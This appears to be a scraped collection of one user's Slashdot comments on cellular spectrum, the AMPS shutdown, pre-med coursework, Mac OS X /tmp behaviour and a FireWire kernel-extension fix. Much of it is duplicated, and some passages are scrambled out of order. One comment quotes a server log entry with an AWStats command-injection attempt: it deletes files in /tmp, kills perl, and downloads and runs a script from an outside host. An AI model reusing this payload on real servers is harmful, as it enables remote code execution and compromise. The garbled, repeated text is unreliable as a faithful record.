There is only so much spectrum. Either force everyone to N-only or tell them the WiFi might not support everyone. You can only use channels 1, 6 and 11 in 2.4GHz due to overlap of the other frequencies. Look at figure 10 in this paper that studied throughput vs. channel overlap.
Perhaps it's not the iPhone that is causing all of these problems. Maybe it's all the people who haven't upgraded their phones in years. When they hit a cell with old-school GSM/GPRS, that means there's less capacity for UMTS/HSDPA phones.
Why not make at least one band (1900mHz) UMTS/HSDPA only, so that way one or two customers can't kill the bandwidth for 50.
What I take from the article is that there are plenty of other good weed-out type courses out there to choose from.
As a Computer Science major who is now a 2nd year Medical Student, I found orgo to be a giant thorn in my back. I succeeded in every other pre-med class I took, such as microbiology, genetics, honors biotech, biochemistry.
But because I got a C in orgo and had relatively few basic science courses (I did want to graduate on time with my CS degree), I had to get a masters degree before any med schools in the US would take me.
If it were up to me, I would use Physics II as the new weed-out - it's MUCH more important for Physiology and the basis of Cardiology, etc.
To everyone wondering about their favorite AMPS-only areas, I highly doubt those towers will be deactivated.
The whole purpose of this deactivation is so that the cell phone companies can make MORE money, not less! One person using AMPS in a metropolitan area ties up several digital lines. But until monday, none of those AMPS towers could be turned off (per this FCC mandate)!
Thus, I suspect that the only AMPS towers going offline come Monday are those that were costing them money (the ones in areas that already have digital coverage). Shutting down towers in AMPS-only areas cuts off paying customers, and erodes a nearly ubiquitous and cost-effective last-mile coverage tool.
As a result, those who live in the City -> roam in a Rural area won't be affected (as long as you have a phone with both radios). The ones who will be affected MOST are those who live in Rural -> roam to the City. If their rural AMPS phones don't support both AMPS & the current digital standards, they will not get any reception in that city area.
Disclaimer: IANACPCS (I Am Not A Cell Phone Company Spokesperson)
If the power was knocked out to a cell phone tower due to a natural disaster, wouldn't the phone lines/trunk also be knocked out? So with battery back ups we'll have a bunch of towers broadcasting with no lines to call out!
While it's not free or open source, you can format it HFS+ and use it under Mac/Linux natively, and get excellent HFS+ support under Windows by purchasing MacDrive ($50). I've used it for a while now, and has worked flawlessly.
To quote the article, In 11 of the 20 crashes, rear passengers clearly fared better. What kind of statistical analysis is this? If they are going to publish something with as broad a claim about an enormous industry as airlines, they need to back their claims up. That means t-tests, multiple ANOVA, chi-square tests, etc.
But most importantly, that means stating their p-values! With a sample size as low as 20, I wouldn't be surprised if the statistical significance of this data is null (that is, the likelihood of being wrong is greater than the likelihood of being right).
Until they publish that number, I will take this study with a grain of salt.
I Second you on the last few article icons at the top of the page. The new design needs it! If anything, it's the single most distinctive thing that I love about slashdot. There's nothing faster than skimming the icons to know there's a new Intel or Apple article - must read!
It is just a dir that gets blown away every reboot from some commands in/etc/rc
Furthermore, if one were to try and use a RAM disk (man hdid), you can only create ones with a static # of sectors. In other words, Mac OS X has nothing like tmpfs.
OK, so RedHat doesn't sell licenses; they sell bits (for up2date). So why not require a local mirror of the up2date service that all the clusters look to for product updates and security patches? Would definitely save the cluster owners and RHN TONS of bandwidth.
Those of you that installed Apple's preview IP over Firewire drivers back in the day might have the same problem I did:
Kernel panic upon reboot.
Apparently they broke the kext's support in 'updating firewire'
Just reboot holding down apple-s , that'll drop you into single-user mode, run the obligatory/sbin/fsck -y then/sbin/mount -uw/ then get rid of the FirewireIP kext by mv/System/Library/Extensions/IOFireWireIP.kext// Trash it or do what you will with it after you successfully reboot. Hope this helps!
If memory serves me correct, NASA / Russia have been using vibrations under astronauts' / cosmonauts' feet as therapy for those returning to Earth after long stays in space (ISS / MIR). Granted, this specific usage was to help increase bone mass in the legs, but we may have NASA to thank yet again for another cool discovery.
Do you think the iMac would have still would have received front page headlines if details and/or screenshots of it had leaked out three weeks prior to it's introduction?
Um, i recieved an email, while on the Apple Mailing List about the iMac about 2 months before it came out. And I couldn't believe it didn't have a disk drive. They gave a lot of info about it out, and I'm sure I wasn't the only one on that list.
rick.
Slashdot Mirror
There is only so much spectrum. Either force everyone to N-only or tell them the WiFi might not support everyone. You can only use channels 1, 6 and 11 in 2.4GHz due to overlap of the other frequencies. Look at figure 10 in this paper that studied throughput vs. channel overlap.
Perhaps it's not the iPhone that is causing all of these problems. Maybe it's all the people who haven't upgraded their phones in years. When they hit a cell with old-school GSM/GPRS, that means there's less capacity for UMTS/HSDPA phones.
Why not make at least one band (1900mHz) UMTS/HSDPA only, so that way one or two customers can't kill the bandwidth for 50.
What I take from the article is that there are plenty of other good weed-out type courses out there to choose from.
As a Computer Science major who is now a 2nd year Medical Student, I found orgo to be a giant thorn in my back. I succeeded in every other pre-med class I took, such as microbiology, genetics, honors biotech, biochemistry.
But because I got a C in orgo and had relatively few basic science courses (I did want to graduate on time with my CS degree), I had to get a masters degree before any med schools in the US would take me.
If it were up to me, I would use Physics II as the new weed-out - it's MUCH more important for Physiology and the basis of Cardiology, etc.
- Rick
To everyone wondering about their favorite AMPS-only areas, I highly doubt those towers will be deactivated.
The whole purpose of this deactivation is so that the cell phone companies can make MORE money, not less! One person using AMPS in a metropolitan area ties up several digital lines. But until monday, none of those AMPS towers could be turned off (per this FCC mandate)!
Thus, I suspect that the only AMPS towers going offline come Monday are those that were costing them money (the ones in areas that already have digital coverage). Shutting down towers in AMPS-only areas cuts off paying customers, and erodes a nearly ubiquitous and cost-effective last-mile coverage tool.
As a result, those who live in the City -> roam in a Rural area won't be affected (as long as you have a phone with both radios). The ones who will be affected MOST are those who live in Rural -> roam to the City. If their rural AMPS phones don't support both AMPS & the current digital standards, they will not get any reception in that city area.
Disclaimer: IANACPCS (I Am Not A Cell Phone Company Spokesperson)
If the power was knocked out to a cell phone tower due to a natural disaster, wouldn't the phone lines/trunk also be knocked out? So with battery back ups we'll have a bunch of towers broadcasting with no lines to call out!
I dont know where this article got its facts, but it is dead wrong on the latency issue.
EDGE Latency = 500ms - 1000ms (yes, that is 1 second!)
HSDPA Latency ~ 50ms - 200ms
HSDPA is lightning fast not because of the increased bandwidth (which yes is nice), its because its lightning FAST in response!
And btw, I think that if an EDGE radio has to be on for 60s download a page, it will consume more power than a 3G radio on for 5s.
While it's not free or open source, you can format it HFS+ and use it under Mac/Linux natively, and get excellent HFS+ support under Windows by purchasing MacDrive ($50). I've used it for a while now, and has worked flawlessly.
To quote the article, In 11 of the 20 crashes, rear passengers clearly fared better. What kind of statistical analysis is this? If they are going to publish something with as broad a claim about an enormous industry as airlines, they need to back their claims up. That means t-tests, multiple ANOVA, chi-square tests, etc.
But most importantly, that means stating their p-values! With a sample size as low as 20, I wouldn't be surprised if the statistical significance of this data is null (that is, the likelihood of being wrong is greater than the likelihood of being right).
Until they publish that number, I will take this study with a grain of salt.
Just my two cents.
-Rick
The problem with Mac OS X (Darwin) is that /tmp is not its own filesystem:
/etc/rc
# ls -l /
lrwxr-xr-x 1 root admin 11 Apr 25 2005 tmp@ -> private/tmp
It is just a dir that gets blown away every reboot from some commands in
Furthermore, if one were to try and use a RAM disk (man hdid), you can only create ones with a static # of sectors. In other words, Mac OS X has nothing like tmpfs.
I just grep'd through my logs and found someone trying (perhaps beta-testing?) this exploit back in June 2005:
/cgi-bin/awstats.pl?configdir=|echo%20;cd%20/tmp;r m%20-rf%20*;killall%20-9%20perl;wget%20www.suxehac ker.home.ro/sess_3539283e27d73cae29fe2b80f9293f60; perl%20sess_3539283e27d73cae29fe2b80f9293f60;echo% 20;echo| HTTP/1.1" 404 309 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
/tmp noexec on OS X?
xx.xxx.xx.xx - - [18/Jun/2005:05:51:35 -0400] "GET
Anyone know how to make
OK, so RedHat doesn't sell licenses; they sell bits (for up2date). So why not require a local mirror of the up2date service that all the clusters look to for product updates and security patches? Would definitely save the cluster owners and RHN TONS of bandwidth.
Those of you that installed Apple's preview IP over Firewire drivers back in the day might have the same problem I did:
/sbin/fsck -y then /sbin/mount -uw / /System/Library/Extensions/IOFireWireIP.kext/ /
Kernel panic upon reboot.
Apparently they broke the kext's support in 'updating firewire'
Just reboot holding down apple-s , that'll drop you into single-user mode, run the obligatory
then get rid of the FirewireIP kext by
mv
Trash it or do what you will with it after you successfully reboot.
Hope this helps!
If memory serves me correct, NASA / Russia have been using vibrations under astronauts' / cosmonauts' feet as therapy for those returning to Earth after long stays in space (ISS / MIR). Granted, this specific usage was to help increase bone mass in the legs, but we may have NASA to thank yet again for another cool discovery.
Um, i recieved an email, while on the Apple Mailing List about the iMac about 2 months before it came out. And I couldn't believe it didn't have a disk drive. They gave a lot of info about it out, and I'm sure I wasn't the only one on that list. rick.